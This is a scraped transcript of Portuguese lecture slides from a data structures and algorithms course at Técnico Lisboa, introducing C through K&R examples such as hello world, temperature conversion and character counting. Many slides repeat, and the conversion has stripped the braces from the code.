acetatos de aed 2º semestre 2005/2006 - técnico lisboa ... · tabela de dispersão. aed 2003/2004...

628
Acetatos de AED 2º Semestre 2005/2006 J. Marques Silva, Arlindo Oliveira, Pedro Amaro de Matos AED 2003/2004 – p.1/554

Upload: lamliem

Post on 30-Nov-2018

223 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Acetatos de AED

2º Semestre 2005/2006

J. Marques Silva, Arlindo Oliveira, Pedro Amaro de Matos

AED 2003/2004 – p.1/554

Page 2: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Versão Inicial: Ano Lectivo de 2002/2003

Versão 1: Ano Lectivo de 2003/2004

Versão 2: Ano Lectivo de 2004/2005

Versão 3: Ano Lectivo de 2005/2006

AED 2003/2004 – p.2/554

Page 3: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.3/554

Page 4: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.4/554

Page 5: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte I

K&R Cap. 1

AED 2003/2004 – p.5/554

Page 6: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua

Nota mínima: 8 valores, na média dos testes, e noprojecto.

Professor Responsável: Arlindo Oliveira

Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo

Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2

AED 2003/2004 – p.6/554

Page 7: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua

Nota mínima: 8 valores, na média dos testes, e noprojecto.

Professor Responsável: Arlindo Oliveira

Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo

Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2

AED 2003/2004 – p.6/554

Page 8: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua

Nota mínima: 8 valores, na média dos testes, e noprojecto.

Professor Responsável: Arlindo Oliveira

Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo

Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2

AED 2003/2004 – p.6/554

Page 9: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua

Nota mínima: 8 valores, na média dos testes, e noprojecto.

Professor Responsável: Arlindo Oliveira

Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo

Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2

AED 2003/2004 – p.6/554

Page 10: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua

Nota mínima: 8 valores, na média dos testes, e noprojecto.

Professor Responsável: Arlindo Oliveira

Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo

Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2

AED 2003/2004 – p.6/554

Page 11: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.

Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática

Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.

Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press

Programa: Linguagem de programação C; Estruturasde dados e algoritmos.

AED 2003/2004 – p.7/554

Page 12: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.

Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática

Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.

Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press

Programa: Linguagem de programação C; Estruturasde dados e algoritmos.

AED 2003/2004 – p.7/554

Page 13: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.

Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática

Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.

Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press

Programa: Linguagem de programação C; Estruturasde dados e algoritmos.

AED 2003/2004 – p.7/554

Page 14: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apresentação de AED

Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.

Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática

Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.

Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press

Programa: Linguagem de programação C; Estruturasde dados e algoritmos.

AED 2003/2004 – p.7/554

Page 15: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 16: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 17: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 18: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 19: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 20: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 21: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 22: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 23: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

A linguagem de programação C

Um exemplo de programa em C

Fluxo de compilação

Estrutura de um programa em C

Tipos de dados

Instruções básicas

Estruturas de controlo

Funções

Tabelas, estruturas e ficheiros

Ponteiros e memória dinâmica

AED 2003/2004 – p.8/554

Page 24: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados

Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.

Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.

Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.

Tabela de dispersão.

AED 2003/2004 – p.9/554

Page 25: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados

Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.

Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.

Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.

Tabela de dispersão.

AED 2003/2004 – p.9/554

Page 26: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados

Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.

Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.

Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.

Tabela de dispersão.

AED 2003/2004 – p.9/554

Page 27: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados

Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.

Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.

Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.

Tabela de dispersão.

AED 2003/2004 – p.9/554

Page 28: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algoritmos

Taxa de crescimento de funções e notaçãoassimptótica

Algoritmos de procura (em arrays)

Algoritmos de ordenação (em arrays): SelectionSort;InsertionSort; MergeSort; HeapSort; QuickSort;ShellSort.

AED 2003/2004 – p.10/554

Page 29: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algoritmos

Taxa de crescimento de funções e notaçãoassimptótica

Algoritmos de procura (em arrays)

Algoritmos de ordenação (em arrays): SelectionSort;InsertionSort; MergeSort; HeapSort; QuickSort;ShellSort.

AED 2003/2004 – p.10/554

Page 30: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Algoritmos

Taxa de crescimento de funções e notaçãoassimptótica

Algoritmos de procura (em arrays)

Algoritmos de ordenação (em arrays): SelectionSort;InsertionSort; MergeSort; HeapSort; QuickSort;ShellSort.

AED 2003/2004 – p.10/554

Page 31: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Uma perspectiva tutorial do C

Introdução rápida à linguagem C utilizando exemplos

Programa que escreve hello, world

AED 2003/2004 – p.11/554

Page 32: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Uma perspectiva tutorial do C

Introdução rápida à linguagem C utilizando exemplos

Programa que escreve hello, world

AED 2003/2004 – p.11/554

Page 33: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

hello, world

#include <stdio.h>

main ()

printf("hello, world\n");

AED 2003/2004 – p.12/554

Page 34: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

hello, world

#include <stdio.h>

main()

printf("hello, world\n");

Bibliotecas de funções de entrada/saída

AED 2003/2004 – p.13/554

Page 35: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

hello, world

#include <stdio.h>

main ()

printf("hello, world\n");

Função main

Nome função pode ser qualquer

Todos os programas têm uma função main

Função main é primeira a ser executada

Funções podem ser definidas múltiplos ficheiros

AED 2003/2004 – p.14/554

Page 36: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

hello, world

#include <stdio.h>

main ()

printf("hello, world\n");

Parâmetros formais da função

Comunicação do exterior com a função

AED 2003/2004 – p.15/554

Page 37: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

hello, world

#include <stdio.h>

main ()

printf("hello, world\n");

Instruções associadas àfunção entre chavetas

AED 2003/2004 – p.16/554

Page 38: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

hello, world

#include <stdio.h>

main ()

printf("hello, world\n");

Apenas uma instrução

Chamada à função printf

Parâmetros actuais de printf colocados entreparênteses

printf("hello, world")

gera erro (string não pode mudar de linha)

AED 2003/2004 – p.17/554

Page 39: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

hello, world

#include <stdio.h>

main ()

printf("hello, world\n");

String "hello, world\n"

Cadeia de caracteres entre aspas "

Outros caracteres\n Sequência de caracteres que representa newline\t tab\b backspace\" aspas\\ barra

AED 2003/2004 – p.18/554

Page 40: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

Construir programa que converte temperaturas da escalaFahrenheit para escala Celsius

0 -17

20 -6

40 4

60 15

80 26

. . .

260 126

280 137

300 148

AED 2003/2004 – p.19/554

Page 41: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

Desenvolvimento do algoritmo

Programa executa instruções repetidamente

Dado valor de temperatura na escala Fahrenheit

Converte temperatura para graus CelsiusEscreve linha da tabelaAumenta valor temperatura Fahrenheit

AED 2003/2004 – p.20/554

Page 42: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

Desenvolvimento do algoritmo

Enquanto temperatura for inferior limite superiorConverte temperatura para graus CelsiusEscreve linha da tabelaAumenta valor temperatura Fahrenheit

AED 2003/2004 – p.20/554

Page 43: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

Algoritmo:Limite inferior é 0Limite superior é 300Passo é 20

Fahrenheit é limite inferiorEnquanto temperatura for inferior limite superior

Converte temperatura para graus CelsiusEscreve linha da tabelaAumenta valor temperatura Fahrenheit

AED 2003/2004 – p.20/554

Page 44: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

#include <stdio.h>

/* Escreve tabela de conversao Fahrenheit-Celsius fahr = 0,20,...,300 */

main ()

int fahr, celsius;

int inferior, superior, passo;

inferior = 0;

superior = 300;

passo = 20;

fahr = inferior;

while (fahr <= superior)

celsius = 5 * (fahr-32) / 9;

printf("%d\t%d\n", fahr, celsius);

fahr = fahr + passo;

AED 2003/2004 – p.21/554

Page 45: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

#include <stdio.h>

/* Escreve tabela de conversao Fahrenheit-Celsius fahr = 0,20,...,300 */

main ()

int fahr, celsius;

int inferior, superior, passo;

Comentários

Texto entre /* e */

AED 2003/2004 – p.22/554

Page 46: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

main ()

int fahr, celsius;

int inferior, superior, passo;

inferior = 0;

superior = 300;

passo = 20;

Declaração de variáveis

Tipos básicos: char, short, long e double.

Tipos complexos: estruturas, uniões, tabelas, ponteirospara tipos mais simples e funções

AED 2003/2004 – p.23/554

Page 47: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

int inferior, superior, passo;

inferior = 0;

superior = 300;

passo = 20;

fahr = inferior;

while (fahr <= superior)

celsius = 5 * (fahr-32) / 9;

Instrução de atribuição de valor a variável

Sintaxe: < variável > = < expressão >

AED 2003/2004 – p.24/554

Page 48: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

fahr=inferior;

while (fahr <= superior)

celsius = 5 * (fahr-32) / 9;

printf("%d\t%d\n", fahr, celsius);

fahr = fahr + passo;

Ciclo while

Sintaxe: while ( <expressão>) <. instrucao \verb>+

Indentação ajuda a perceber estrutura programa

Erro frequente:

while (i >= 0);i = i-1; AED 2003/2004 – p.25/554

Page 49: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

fahr = inferior;

while (fahr <= superior)

celsius = 5 * (fahr-32) / 9;

printf("%d\t%d\n", fahr, celsius);

fahr = fahr + passo;

Divisão inteira

Divisão entre inteiros é divisão inteira

5/9 é 0

AED 2003/2004 – p.26/554

Page 50: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

while (fahr <= superior)

celsius = 5 * (fahr-32) / 9;

printf("%d\t%d\n", fahr, celsius);

fahr = fahr + passo;

printf escrita formatada

printf("%d\t%d\n", fahr, celsius);

Melhorar formataçãoprintf("%3d%6d\n", fahr, celsius);

Problema: 0oF são -17,8oC e não -17oC

AED 2003/2004 – p.27/554

Page 51: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

#include <stdio.h>

/* Escreve tabela de conversao Fahrenheit-Celsius fahr = 0,20,...,300 */

main ()

float fahr, celsius;

int inferior, superior, passo;

inferior = 0;

superior = 300;

passo = 20;

fahr = inferior;

while (fahr <= superior)

celsius = (5.0/9.0) * (fahr-32);

printf("%3.0f %6.1f\n", fahr, celsius);

fahr = fahr + passo;

AED 2003/2004 – p.28/554

Page 52: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

Principais diferenças:

float fahr, celsius;

celsius = (5.0/9.0) * (fahr-32);

printf("%3.0f %6.1f\n", fahr, celsius);

Outras conversões:%o inteiros em notação octal%x inteiros em notação hexadecimal%c caracter%s string%% caracter %

AED 2003/2004 – p.29/554

Page 53: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

#include <stdio.h>

/* Escreve tabela de conversao Fahrenheit-Celsius

fahr = 0,20,...,300 */

main ()

float fahr;

for (fahr = 0; fahr <= 300; fahr = fahr + 20)

printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));

Inicialização de variáveis: fahr = 0

Teste: fahr <= 300

Incremento: fahr = fahr + 20

Ciclo termina quando condição for falsa

AED 2003/2004 – p.30/554

Page 54: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

Constantes simbólicas

Má prática utilizar valores explícitos (0, 20, 300)

Alternativa: utilização de constantes usando define

#define <nome> <texto>

AED 2003/2004 – p.31/554

Page 55: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de temperaturas

#include <stdio.h>

#define SUPERIOR 300

#define INFERIOR 0

#define PASSO 20

/* Escreve tabela de conversao Fahrenheit-Celsius

fahr = 0,20,...,300 */

main ()

float fahr;

for (fahr = INFERIOR; fahr <= SUPERIOR; fahr = fahr + PASSO)

printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));

AED 2003/2004 – p.32/554

Page 56: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Leitura e escrita

Text stream é sequência de caracteres dividida emlinhas

Cada linha contém 0 ou mais caracteres e acaba comnewline

Função getchar: lê o próximo caracter da text stream

Função putchar: recebe um inteiro como argumento eescreve o caracter que tem como código o inteiro

AED 2003/2004 – p.33/554

Page 57: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Cópia de ficheiros

Algoritmo:Lê um caracterEnquanto resultado de ler caracter não forindicador do fim do ficheiro

Escreve caracterLê próximo caracter

AED 2003/2004 – p.34/554

Page 58: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Cópia de ficheiros

#include <stdio.h>

/* Copia input para output */

main ()

int c;

c = getchar();

while (c != EOF)

putchar(c);

c = getchar();

!= significa diferente

Porquê int c?

Constante EOF

AED 2003/2004 – p.35/554

Page 59: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Cópia de ficheiros

Atribuição retorna valor atribuído!#include <stdio.h>

/* Copia input para output (Variacao)*/

main ()

int c;

while ((c = getchar()) != EOF)

putchar(c);

Parênteses em while ((c = getchar()) != EOF)necessários

Precedência de != maior que =

AED 2003/2004 – p.36/554

Page 60: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de caracteres

Algoritmo:Inicializa contador a 0Enquanto o resultado de ler um caracter não forindicador do fim do ficheiro

Incrementa contadorEscreve contador

AED 2003/2004 – p.37/554

Page 61: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de caracteres

#include <stdio.h>

/* conta caracteres no ficheiro de entrada */

main ()

long contador;

contador = 0;

while (getchar() != EOF)

++contador;

printf("%ld\n",contador);

AED 2003/2004 – p.38/554

Page 62: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de caracteres

#include <stdio.h>

/* conta caracteres no ficheiro de entrada */

main ()

long contador;

contador = 0;

while (getchar() != EOF)

++contador;

printf("%ld\n",contador);

Variáveis do tipo long int

Pelo menos 32 bits para guardar o inteiro

%ld para escrever com printfAED 2003/2004 – p.39/554

